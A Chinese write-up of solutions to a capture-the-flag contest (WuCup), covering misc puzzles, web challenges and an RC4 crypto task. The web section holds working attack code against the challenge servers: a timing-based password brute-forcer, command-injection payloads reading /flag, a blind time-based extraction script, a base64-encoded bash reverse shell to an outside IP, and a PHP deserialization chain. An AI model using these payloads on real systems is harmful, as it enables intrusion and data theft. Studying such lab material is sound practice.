wucup-DDL

misc

太极

1
2
3
4
5
6
7
8
9
10
11
tai ji sheng liang yi
liang yi sheng si xiang
si xiang sheng ba gua
ba gua ding ji xiong
ji xiong sheng da ye


tieny 12341---太极亦是轮回
lieig 123 2(1212 -4) 5 ----周而复始
sieau 1232 2(12312)
jieay 12321(12121)

image-20241201192350186

元神

WuCup{0e49b776-b732-4242-b91c-8c513a1f12ce}

image-20241201154543499

WuCup{7c16e21c-31c2-439e-a814-bba2ca54101a}

把docx文件换成zip文件

image-20241201154905553

模糊的这个东西,减淡加弱化

WuCup{6bb9d97d-7169-434b-a7cf-0ee0b6fdfa30}

image-20241201155123620

image-20241201155240561

image-20241201190434972

1
WuCup{f848566c-3fb6-4bfd-805a-d9e102511784}第三个密码work的document

image-20241201190659379

Sign-misc

16进制解码

web

TimeCage–没做出来

第一关

Trapping2147483647.php

image-20241201164839362

第二个手注,

1
2
The final challenge in EscapeEsc@p3Escape.php
56983215

每对一个就多延长时间1秒

image-20241201173714877

个数脚本如下,但是只出来密码个数,下边的没优化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

url = 'http://challenge.wucup.cn:34879/Trapping2147483647.php' # 目标 URL

# 获取密码长度
password_length = 0
while True:
response = requests.post(url, data={'pass': '1' * (password_length)})
if "Wrong Length!" not in response.text:
break
password_length += 1

print(f"Password length is: {password_length}")

# 破解密码
password = ""
for i in range(password_length):
for char in '0123456789':
test_password = password + char
start_time = time.time()
response = requests.post(url, data={'pass': test_password})
end_time = time.time()

# 判断响应时间是否增加
if end_time - start_time > 1.2:
password += char
print(f"Current password: {password}")
break

print(f"Cracked password: {password}")

第三个反弹shell没弹出来

1
下边复现了

复现-

1.

1
cmd=cp$IFS$1/flag$IFS$1index.php

复现Aura师傅的wp

2.

1
2
3
4
5
6
7
head -c n /flag 从 /flag 文件中提取前 n 个字节。
然后 tail -c 1 会从这 n 个字节中提取最后一个字节。

上述过程⽤ shell 命令表示就是[$(head -c n /flag | tail -c 1)=爆破的字符] && sleep 2

[...] 是条件判断结构,用于比较其内部表达式的结果。这个结构会根据条件的真假返回 true 或 false。
&& 是 逻辑与操作符,表示如果前面的命令(即条件判断)成功(返回值为真),则执行 && 后面的命令。

脚本如下↓
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import base64
import string
import time

flag=""
part1="echo$IFS$9"
part3="$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh"
url="http://challenge.wucup.cn:24987/EscapeEsc@p3Escape.php"
for i in range(1,50): #["(head -c n /flag | tail -c 1)" = "j" ] && sleep 2
for j in string.printable:
print(flag)
part2 = "[ \"$(head -c " + str(i) + " /flag | tail -c 1)\" = \"" + j + "\" ] && sleep 2"
payload=part1 + base64.b64encode(part2.encode()).decode() + part3
print(payload)
time1=time.time()
data={
"cmd": payload
}
requests.post(url,data=data)
time2=time.time()
if(time2-time1>1.2):
flag+=j
break

法三是反弹shell

3.

1
cmd=echo$IFS$9'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTYuMjI2LjcxLzQ0MyAwPiYx'|base64$IFS$9-d|bash

image-20241203145747414

image-20241203145808786

ezPHP

版本源码泄露

1
https://blog.csdn.net/weixin_46203060/article/details/129350280

这个键值得是数字;system eval没好使,直接file_get_contents,可以先看phpinfo看禁用函数,然后再操作

image-20241201182914175

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

class a{
public $OAO;
public $QAQ;
public $OVO;
public function __toString(){
if(!preg_match('/hello/', OVO)){
if ($this->OVO === "hello") {
return $this->OAO->QAQ;
}
}
}
public function __invoke(){
return $this->OVO;
}
}

class b{
public $pap;
public $vqv;
public function __get($key){
$functioin = $this->pap;
return $functioin();
}
public function __toString(){
return $this->vqv;
}
}
class c{
public $OOO;
public function __invoke(){
$_ = $this->OOO;
$___ = "a[]=ls";
var_dump($___);
if (isset($___['h_in.t'])) {
unset($___['h_in.t']);
}
var_dump($___);
echo @call_user_func($_, ...$___);
}
}

class d{
public $UUU;
public $uuu;
public function __wakeup(){
echo $this->UUU;
}
public function __destruct(){
$this->UUU;
}
}


#$a=new d();
#$a->UUU=new b();
#$a->UUU->


$a=new d();
$a->UUU=new a();
$a->UUU->OVO="hello";
$a->UUU->OAO=new b();
$a->UUU->OAO->pap=new c();
$a->UUU->OAO->pap->OOO="file_get_contents";
echo $d= serialize($a);

Sign-web

1
shell,源码就是一句话木马 post个sgin=system('cat /flag');就出来了

HelloHacker-没做出来

题目要求是从prohibited.txt中读取
审计源码

1
2
3
4
5
6
7
8
一。
$required_chars = ['p', 'e', 'v', 'a', 'n', 'x', 'r', 'o', 'z'];
$is_valid = true;

if (!checkRequiredChars($WuCup, $required_chars)) {
$is_valid = false;
}
这个checkRequiredChars函数应该就是要求需要有这几个字母构造成的字符串,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
二。
while ($line = fgets($file)) {
$line = rtrim($line, "\r\n");
if ($line === '' && strpos($WuCup, ' ') === false) {

continue;
}
if (stripos($WuCup, $line) !== false) {
fclose($file);
die('this road is blocked');
}
}
获取文件每一行,stripos 返回的是 $line 在 $WuCup 中第一次出现的位置,如果找到了该字符串,则返回一个非 false 的值;如果没有找到,返回 false。
因为prohibited里面有的命令执行函数如eval和;都是后面带空格了,所以搜的时候就不存在

复现-

image-20241203121452139

先下载文件,访问txt不下载,就右键另存为,能看到过滤的东西,他不可能全过滤吧,用脚本跑一下看看

image-20241203122846668

脚本附下↓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import itertools

# 给定的 9 个字母
letters = "pevanxroz"

# 读取 1.txt 文件中的所有单词,并存储在集合中
filename = "C:/Users/LEGION/Desktop/prohibited.txt"
with open(filename, "r") as file:
file_words = {line.strip() for line in file} # 去除每行的换行符并存入集合

# 生成所有字母的排列组合
all_permutations = itertools.permutations(letters)

# 转换排列为字符串并检查每个排列是否在文件中
missing_words = []
for perm in all_permutations:
word = ''.join(perm) # 将元组转换为字符串
if word not in file_words:
missing_words.append(word)

# 输出不存在的单词
if missing_words:
print("以下排列不存在于文件中:")
for word in missing_words:
print(word)
else:
print("所有排列都存在于文件中。")

能看到底下这是放水了。eval和分号都可以用

image-20241203124038326

image-20241203124246716

image-20241203124436465

薄雾初零的至尊CS+cms

这个java的不会,等过两个月学了java再做吧

密码

Easy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# RC4 解密过程
def rc4_decrypt(key, ciphertext):
key = bytearray(key, 'utf-8')
key_length = len(key)

# Step 1: 初始化 S 和 T
S = list(range(256))
T = [key[i % key_length] for i in range(256)]

# Step 2: 对 S 和 T 数组进行洗牌
j = 0
for i in range(256):
j = (j + S[i] + T[i]) % 256
S[i], S[j] = S[j], S[i]

# Step 3: 解密
i = 0
j = 0
plaintext = []
for byte in ciphertext:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
plaintext.append(byte ^ k)

return bytes(plaintext)

# 密文(你提供的十六进制数据)
ciphertext = bytes.fromhex('d8d2 963e 0d8a b853 3d2a 7fe2 96c5 2923 3924 6eba 0d29 2d57 5257 8359 322c 3a77 892d fa72 61b8 4f')

# 密钥(已知)
key = 'hello world'

# 解密密文
flag = rc4_decrypt(key, ciphertext)

# 输出解密后的 flag
print(flag.decode('utf-8'))